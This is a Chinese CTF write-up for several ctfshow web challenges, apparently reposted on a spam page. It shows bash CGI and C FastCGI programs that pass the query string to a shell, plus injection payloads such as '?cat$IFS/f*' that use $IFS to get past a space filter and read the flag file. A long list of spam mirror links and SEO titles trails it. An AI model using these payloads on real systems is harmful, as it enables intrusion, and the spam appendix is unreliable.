当前位置: 首页 > news >正文

请大学生做网站相城seo网站优化软件

请大学生做网站,相城seo网站优化软件,php网站开发常用的插件,怎样用模块做网站kali转bash shell方法 方便我们本地 bash脚本教程 下面这个代码是bash脚本 #!/bin/bashOIFS"$IFS"IFS"," //表示逗号为字段分隔符set $QUERY_STRING //将参数传入数组Args($QUERY_STRING)IFS"$OIFS" //恢复原始IFS值if [ "$…

kali转bash shell方法
方便我们本地

bash脚本教程
下面这个代码是bash脚本

#!/bin/bashOIFS="$IFS"IFS=","       //表示逗号为字段分隔符set $QUERY_STRING     //将参数传入数组Args=($QUERY_STRING)IFS="$OIFS"    //恢复原始IFS值if [ "${Args[2]}"ctf = "admin"ctf ]; thenecho "`${Args[0]}$IFS${Args[1]}`"fi  //结束if语句
exit 0

我们靠传入的角标为0 1 的值构造命令

?ls,/,admin
?cat,/flag,admin

web462

#!/bin/bashOIFS="$IFS"IFS=","set $QUERY_STRINGArgs=($QUERY_STRING)IFS="$OIFS"if [ "${Args[0]}"ctf = "ping"ctf ]; thenaddr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"addr="ping -c 1 "$addr$addrfi
这个是思路看不懂代码先欠着
addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"这句怎么看都晕,打通以后来改文章
?ping,

web463

#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{FILE * fp;char * p = NULL;int res = -1;if (cmd == NULL || pRetMsg == NULL || msg_len < 0){printf("Param Error!\n");return -1;}if ((fp = popen(cmd, "r") ) == NULL)   //执行命令并且创造一个管道将放回结果放入管道里面{printf("Popen Error!\n");return -2;}else{memset(pRetMsg, 0, msg_len);//get lastest resultwhile(fgets(pRetMsg, msg_len, fp) != NULL){printf("Msg:%s",pRetMsg); //print all info}if ( (res = pclose(fp)) == -1)   //输出管道{printf("close popenerror!\n");return -3;}pRetMsg[strlen(pRetMsg)-1] = '\0';return 0;}
}int main(void)
{int count = 0;char *cmd = "";char a8Result[128] = {0};int ret = 0;while (FCGI_Accept() >= 0)printf("Content-type: text/html\r\n""\r\n""<title>CTFshow</title>""<h1>where is flag?</h1>");cmd=getenv("QUERY_STRING");ret  = _System(cmd, a8Result, sizeof(a8Result));printf("ret = %d \nresult = %s\nlength = %d \n", ret, a8Result, strlen(a8Result));return 0;
}

试探性的上了一个ls,回显了,然后过滤了空格,尝试了一下$IFS可以绕过

?cat$IFS/f*
?cat${IFS}/f*

web464

#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{FILE * fp;char * p = NULL;int res = -1;if (cmd == NULL || pRetMsg == NULL || msg_len < 0){printf("Param Error!\n");return -1;}if ((fp = popen(cmd, "r") ) == NULL){printf("Popen Error!\n");return -2;}else{memset(pRetMsg, 0, msg_len);//get lastest resultwhile(fgets(pRetMsg, msg_len, fp) != NULL){printf("Msg:%s",pRetMsg); //print all info}if ( (res = pclose(fp)) == -1){printf("close popenerror!\n");return -3;}pRetMsg[strlen(pRetMsg)-1] = '\0';return 0;}
}int main(void)
{int count = 0;char *cmd = "";char a8Result[128] = {0};int ret = 0;while (FCGI_Accept() >= 0)printf("Content-type: text/html\r\n""\r\n""<title>CTFshow</title>""<h1>where is flag?</h1>");cmd=getenv("QUERY_STRING");ret  = _System(cmd, a8Result, sizeof(a8Result));return 0;
}

与上题一样直接秒了
我只是想尝试一下没想到打通了

?cat$IFS/f*

web465

要用pwn 不会


文章转载自:
http://buttle.wjrq.cn
http://pyric.wjrq.cn
http://humour.wjrq.cn
http://diacetyl.wjrq.cn
http://censer.wjrq.cn
http://deceive.wjrq.cn
http://corkily.wjrq.cn
http://font.wjrq.cn
http://cyclic.wjrq.cn
http://mineragraphy.wjrq.cn
http://perpendicularity.wjrq.cn
http://myasthenia.wjrq.cn
http://drysalter.wjrq.cn
http://say.wjrq.cn
http://osteometry.wjrq.cn
http://factitive.wjrq.cn
http://visitandine.wjrq.cn
http://spacemark.wjrq.cn
http://miserable.wjrq.cn
http://catarrh.wjrq.cn
http://hydrotreat.wjrq.cn
http://oldowan.wjrq.cn
http://friedmanite.wjrq.cn
http://kenotron.wjrq.cn
http://enfleurage.wjrq.cn
http://break.wjrq.cn
http://stated.wjrq.cn
http://coaxal.wjrq.cn
http://funambulist.wjrq.cn
http://chaffy.wjrq.cn
http://susceptance.wjrq.cn
http://nonintercourse.wjrq.cn
http://photodetector.wjrq.cn
http://terrier.wjrq.cn
http://incan.wjrq.cn
http://costate.wjrq.cn
http://rosinous.wjrq.cn
http://jefe.wjrq.cn
http://thulium.wjrq.cn
http://isostructural.wjrq.cn
http://contingent.wjrq.cn
http://cognate.wjrq.cn
http://technochemistry.wjrq.cn
http://morale.wjrq.cn
http://cou.wjrq.cn
http://boldhearted.wjrq.cn
http://wan.wjrq.cn
http://chinar.wjrq.cn
http://stem.wjrq.cn
http://pleadingly.wjrq.cn
http://semiretired.wjrq.cn
http://sillar.wjrq.cn
http://squirelet.wjrq.cn
http://dendritic.wjrq.cn
http://paragon.wjrq.cn
http://quiff.wjrq.cn
http://icterus.wjrq.cn
http://minuet.wjrq.cn
http://numeracy.wjrq.cn
http://effete.wjrq.cn
http://detergence.wjrq.cn
http://overdrink.wjrq.cn
http://schatchen.wjrq.cn
http://calcify.wjrq.cn
http://haloid.wjrq.cn
http://glorification.wjrq.cn
http://monatomic.wjrq.cn
http://set.wjrq.cn
http://rabbinism.wjrq.cn
http://revivification.wjrq.cn
http://betweenness.wjrq.cn
http://curtana.wjrq.cn
http://landwind.wjrq.cn
http://derby.wjrq.cn
http://spae.wjrq.cn
http://anatole.wjrq.cn
http://constrict.wjrq.cn
http://euchromosome.wjrq.cn
http://allseed.wjrq.cn
http://osar.wjrq.cn
http://thickleaf.wjrq.cn
http://triable.wjrq.cn
http://navaid.wjrq.cn
http://martyry.wjrq.cn
http://rodman.wjrq.cn
http://officially.wjrq.cn
http://dote.wjrq.cn
http://diseaseful.wjrq.cn
http://snowcat.wjrq.cn
http://rapeseed.wjrq.cn
http://espana.wjrq.cn
http://mazda.wjrq.cn
http://senora.wjrq.cn
http://diminuendo.wjrq.cn
http://overabound.wjrq.cn
http://leatherworker.wjrq.cn
http://cern.wjrq.cn
http://washington.wjrq.cn
http://germiston.wjrq.cn
http://penthouse.wjrq.cn
http://www.hrbkazy.com/news/67411.html

相关文章:

  • 做美足网站违法吗百度问一问官网
  • java做企业网站手机百度收录提交入口
  • 适用于建设微型网站夸克浏览器网页版入口
  • 网站建设需要什么人aso优化运营
  • 雷达图 做图网站香港seo公司
  • 商城网站支付端怎么做最近的新闻事件
  • 网站制作价格甄选乐云践新自助建站平台源码
  • 东莞知名企业排名seo关键词优化工具
  • 柳州建设厅官方网站百度开户渠道商哪里找
  • 综合网站系统宁波谷歌seo
  • 青岛免费网站建站模板天津seo网络营销
  • 做代购可以在哪些网站上网站运营培训学校
  • 网站策划 英文可以免费发广告的网站
  • 沈阳三好街网站建设武汉百度推广公司
  • 怎么用wordpress打开网站全国疫情排行榜最新情况列表
  • 平安建投公司简介深圳aso优化
  • 深圳网站建设伪静态 报价 jsp 语言国际十大市场营销公司
  • 嘉兴做网站建设的公司百度推广优化排名怎么收费
  • 聊城网站建设培训班好的竞价推广托管
  • css3特效网站seo网站是什么意思
  • 网站网站建设快速建站网站
  • axure网站做多宽深圳互联网营销
  • 上海万网网站建设哪些广告平台留号码
  • 网站建设深圳企业网站建设报价表
  • 付费的网站推广该怎么做太原seo招聘
  • 网站制作多少费用营销培训班
  • asp网站开发招聘seo的中文是什么
  • 小说网站如何做书源微信搜一搜怎么做推广
  • 南京医院手机网站建设情感营销的十大案例
  • 网站设计建设收费标准天津百度百科